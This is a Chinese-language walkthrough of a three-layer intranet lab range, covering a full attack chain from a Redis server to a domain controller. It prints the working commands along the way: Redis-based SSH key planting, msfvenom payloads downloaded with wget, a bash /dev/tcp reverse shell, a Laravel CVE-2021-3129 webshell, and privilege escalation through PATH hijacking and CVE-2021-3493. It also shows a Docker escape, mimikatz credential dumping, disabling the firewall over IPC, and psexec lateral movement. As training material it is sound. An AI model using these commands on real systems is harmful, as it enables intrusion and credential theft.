靶机下载地址:
漏洞详情 (qiyuanxuetang.net)
攻击链路:
DMZ区IP段为192.168.11.1/24
第二层网络环境IP段为192.168.52.1/24
第三层网络环境IP段为192.168.93.1/24
这里DMZ和攻击者我用的是192.168.11.1 这个网段,其他不变
这里我加了两张虚拟网卡,分别是52和93网段,在其他机器上增添一张网卡即可
环境配置:
域账户账号密码:
Administrator:Whoami2021
whoami:Whoami2021
bunny:Bunny2021
moretz:Moretz2021
Ubuntu 1: web:web2021
Ubuntu 2: ubuntu:ubuntu
通达OA账户: admin:admin657260
第一层网络DMZ区的 Ubuntu(web1) 需要启动redis和nginx服务::
sudo redis-server /etc/redis.conf
sudo /usr/sbin/nginx -c /etc/nginx/nginx.conf
sudo iptables -F
第二层网络的 Ubuntu(web2)需要启动docker容器:
sudo service docker start
sudo docker start 8e172820ac78
第三层网络的 Windows 7 (PC 1)需要启动通达OA:
C:\MYOA\bin\AutoConfig.exe
启动时会弹出一个需要输入账号密码,输入域管的账号密码即可,Administrator:Whoami2021
打开配置完成的页面:
一.信息收集:
nmap -T4 -A -v 192.168.11.1/24
发现新的IP:
进一步进行端口扫描:
nmap -sT -p1-65535 192.168.11.152
显然发现6379端口极为显眼,这个端口是基于Redis的服务,可能有未授权。
Redis未授权访问是因为一些Redis服务绑定到公共接口,甚至没有密码身份验证保护,部分Redis 绑定在0.0.0.0:6379,并且没有开启认证(这是Redis的默认配置),而又暴露在公网上,这样就会导致任意用户在可以访问此公网的情况下未授权访问Redis以及读取Redis的数据。
那么验证一下,是否有未授权
先连接目标机器的Redis的服务:
redis-cli -h 192.168.11.152
输入info看是否有回显
直接爆出一堆信息,包有未授权的
有了未授权,并且目标还开启了22端口,那么想办法获取目标机器权限,这里使用写入公钥
首先生成公钥:
ssh-keygen -t rsa
因为这里我之前生成过公钥,所以没有显示
将公钥写入文本:
(echo -e "\n\n"; cat /root/.ssh/id_rsa.pub; echo -e "\n\n") > key.txt
将公钥导入到目标机器的Redis:
cat key.txt | redis-cli -h 192.168.11.152 -x set xxx
连接Redis,将公钥写入目标主机:
config set dir /root/.ssh # 设置redis的备份路径为/root/.ssh/
config set dbfilename authorized_keys # 设置保存文件名为authorized_keys
save # 将数据保存在目标服务器硬盘上
那么,这里可以直接ssh连接了,根本不需要再输入账号和密码了,因为本地有私钥,直接就可以连接
ssh root@192.168.11.152
连接成功
查看主机信息:
ifconfig
发现了52这个网段,因为需要继续往里打,这里我选择上线MSF,MSF里面利用漏洞模块比较多,比较方便
MSF先生成木马:
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.11.128 LPORT=5555 -f elf > shell.elf
木马生成,那必须要进行上传到目标机器,这里的目标机器可以与攻击机器相通信,那么开放攻击机器的http服务,让目标机器远程下载木马
python -m http.server 8000
目标机器下载:
wget http://192.168.11.128:8000/shell.elf
给木马一个可执行权限:
chmod +x shell.efl
在启动木马之前,MSF先建立一个监听:
msfconsole
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set lhost 192.168.11.128
set lport 5555
run
目标机器执行木马
成功上线
这里需要继续往里打,攻击机器无妨访问内网,那么直接添加路由,使攻击机可以触摸到对方内网
run get_local_subnets
run post/multi/manage/autoroute
成功添加路由
这里就可以开始考虑如何进攻内网了,之前扫端口的时候发现还有80和81端口,访问一下,看一下情况
第一个80端口
502,不让访问,并且发现是NGINX
那么打开81端口
发现是一个Larabel框架Laravel v8.29.0 (PHP v7.4.14),我之前也没见过,百度搜一下,还真有漏洞,CVE-2021-3129
感兴趣的可以搜一下看一下,这里我直接用工具梭哈了
https://github.com/SecPros-Team/laravel-CVE-2021-3129-EXP.git
这里直接写入了webshell,注意这里需要使用老板的哥斯拉连接,因为新版的加密方式变了不支持
Releases · BeichenDream/Godzilla (github.com)
选择Godzilla-V1.10下载
连接:
这老板本的看的是真不得劲,这里我建了一个反弹连接
bash -c 'exec bash -i &>/dev/tcp/192.168.52.10/8848
ubuntu监听:
nc -lvp 8848
这里是普通权限,肯定要提权,这里进行一波信息收集,在查看主机的时候
发现一堆数字和字母,啥情况,接下来进行测试,发现是docker环境,要提权,猜测有没有docker逃逸漏洞
cat /proc/self/cgroup
接下来进行提权,查找给了SUID4000权限的控制参数
find / -perm -u=s -type f 2>/dev/null
发现一个shell,进入目录,尝试运行
在运行shell的时候,它调用了ps进程,那么这里可以将ps修改为root权限,并且写入到环境变量,当一运行shell的时候,自动执行ps进程,那么可以直接得到root权限
环境变量提权:
cd /tmp
echo "/bin/bash" > ps
chmod 777 ps
echo $PATH
export PATH=/tmp:$PATH # 将/tmp添加到环境变量中,并且先加载执行/tmp里的程序
cd /home/jobs
./shell
提权成功
来一个tty交互:
python -c 'import pty; pty.spawn("/bin/bash")'
这里还处于docker环境,下一步获取主机权限
在docker创建wq目录来挂载文件:
mkdir wq
mount /dev/sda1 wq
ls wq
然后再web1上生成密钥:
ssh-keygen -f wq
chmod 777 wq
继续生成rsa秘钥:
ssh-keygen -t rsa
cat /root/.ssh/id_rsa.pub
我们将wq.hub中的密钥写入/wq/home/ubuntu/.ssh/authorized_keys中:
公钥写入web2:即docker环境
echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDSIsKvoCpk7ywLUjZDfLLJxsfZrIfiU/Rqhf1khtwxNNJF2yiF3rCj606FieM7MAtVjvNCz8VVgEtXM6IjHGzi/OpP+8ig2tLmm0lCvNbJxtzCBoslP59SxukhQPSf7bAwelVz/Old1Uh6zECBcKrzKNkXClTkS3rkZkqDv4HCknkQKkyDISuXT6h/XPmlh5Ulr8T2tPy58WX1A/wzq75JgKc8gQLz8wuM+MI1B8r/2pRCTHZmgU2OOatucLRBlNkqbbZPI162tnqtufvHv558qJeTMim8F/3BasSl6FXd2fYX2+3Gm6HXHcZKg8SIlbJPIbti+ch5LbRylOMb523B root@ubuntu' > wq/home/ubuntu/.ssh/authorized_keys
docker查看是否写入成功:
cat wq/home/ubuntu/.ssh/authorized_keys
成功
这里就可以用web1的ssh连接web2了
ssh -i /root/.ssh/id_rsa ubuntu@192.168.52.20
这里可能会有疑问,为什么这台机器就可以确定是192.168.52.20这台机器
在web1中进行信息收集的时候,在访问80端口的时候,访问出错,并且是nginx,这里查看nginx的配置
cd /etc/nginx/conf.d/
cat 80.conf
cat 81.conf
这里可以看到这个web1开启了流量转发,80端口转发到了WHOAMI这个地址,而81端口则转发到了http://192.168.52.20:8000这个地址,这里可以确定IP
这里获取到了web2机器的权限,但是权限太低,还是要提权
查看ubuntu版本:
uname -a
发现linux的版本是14.04 ,网上找一下这个版本有没有漏洞,还真有此版本存在CVE-2021-3493漏洞
这里使用脚本一键提权,地址:
GitHub - briskets/CVE-2021-3493: Ubuntu OverlayFS Local Privesc
touch exploit.c
vim exploit.c //粘贴POC
gcc exploit.c -o exploit #编译
chmod +x exploit
./exploit
成功提权
继续上线MSF,MSF生成木马并且监听:
msfvenom -p linux/x64/meterpreter/bind_tcp lport=6666 -f elf > bind.elf
use exploit/multi/handler
set payload linux/x64/meterpreter/bind_tcp
set RHOST 192.168.52.20
set LPORT 6666
run
web2远程下载生成的木马,并运行:
成功上线
信息收集查看网段:
又发现了一个新网段,93网段,还是先添加路由
run get_local_subnets
run post/multi/manage/autoroute
至此拿下了两台web服务
这里拿下了web2,首先要进行一波信息收集,这里不知道52网段和93网段都有哪些机器,那势必要进行主机发现和端口扫描,在此之前建立一个隧道
搭建隧道:这里使用的是ew代理工具
idlefire/ew: 内网穿透(跨平台) (github.com)
kali操作:
./ew_for_linux64 -s rcsocks -l 1080 -e 1234
目标机器下载EW:(web1)
./ew_for_linux64 -s rssocks -d 192.168.11.128 -e 1234
将socks5的服务器指向127.0.0.1:1080:(kali)
vim /etc/proxychains4.conf
socks5 127.0.0.1 1080
完成以后返回MSF,开始52网段的扫描:
use auxiliary/scanner/discovery/udp_probe
set rhosts 192.168.52.1-255
set threads 5
run
最后发现还有一台主机 192.168.52.30
对于这台主机,进行单一扫描:
proxychains4 nmap -Pn -sT -sV -F -O 192.168.52.30
直接扫出一堆端口,开了8080端口的http服务,并且135和449端口都开了并且还是Windows,那么大概率是有永恒之蓝漏洞的,但是对方开了防火墙,大概率打不进去,那么只能看看http服务有什么了
火狐浏览器配置好代理访问目标端口
查看源码,是通达OA
这里我是用的漏扫工具,我在物理机上线配置了全局代理,才能访问目标内网,进行漏扫
这里的漏扫工具可以去网上找,一大堆的,这里不再提供
这里直接利用了,我用蚁剑连接:注意配置代理
发现这台主机也有93网段,我直接传fscan扫描
Releases · shadow1ng/fscan (github.com)
fscan64.exe -h 192.168.93.1/24 >2.txt
直接发现了192.168.93.30是一台Windows server 机器,并且名字还是DC,有永恒之蓝漏洞,没跑了,拿下30机器,就拿下了域控
扫描发现域控有永恒之蓝,这里从这个方向入手
我先将这台Windows机器上线MSF,上线PC1:
kali监听:
msfvenom -p windows/meterpreter/bind_tcp LPORT=4444 -f exe > msf.exe
use exploit/multi/handler
set payload windows/meterpreter/bind_tcp
set lport 4444
set RHOST 192.168.52.30
run
木马建立好,直接通过蚁剑上传,并且运行
成功上线
信息收集:
net view
#查询域控在哪里?(得域控IP)
nslookup -type=SRV ldap._tcp
#查询域中一共有多少个用户
net user /domain
#net user 查看本地用户
#查询域中一共多少个电脑
net group "domain computers" /domain
#查询域控的名字
net group "Domain Controllers" /domain
在进行一波信息收集之后发现 93.30机器就是域控DC
使用MSF的模块抓密码:这里要迁移进程,因为抓密码需要64位
load kiwi
kiwi_cmd privilege::debug
ps
migrate 332
kiwi_cmd sekurlsa::logonpasswords
直接抓到了明文密码:
接下来就简单了,横向移动,上线域控,这里有很多方式横向,比如白银票据,黄金票据,wmic横向,IPC横向等等等等,这里我选最简单的,傻瓜式操作,直接用MSF的模块一键上线
在此之前先在域控建立一个IPC连接先关闭防火墙:(蚁剑执行)
net use \\192.168.93.30\ipc$ "Whoami2021" /user:"Administrator"
sc \\192.168.93.30 create unablefirewall binpath="netsh advfirewall set allprofiles state off"
sc \\192.168.93.30 start unablefirewall
使用MSF的psexec模块横向,上线域控:
use exploit/windows/smb/psexec
set payload windows/meterpreter/bind_tcp
set rhost 192.168.93.30
set smbuser administrator
set smbpass Whoami2021
成功上线
这里还有一台机器没有上线,都拿下域控了,剩下那台机器还能拿不下吗,这里不再演示
到此三层内网拿下
其实这里还可以上线CS,CS用起来比MSF更直接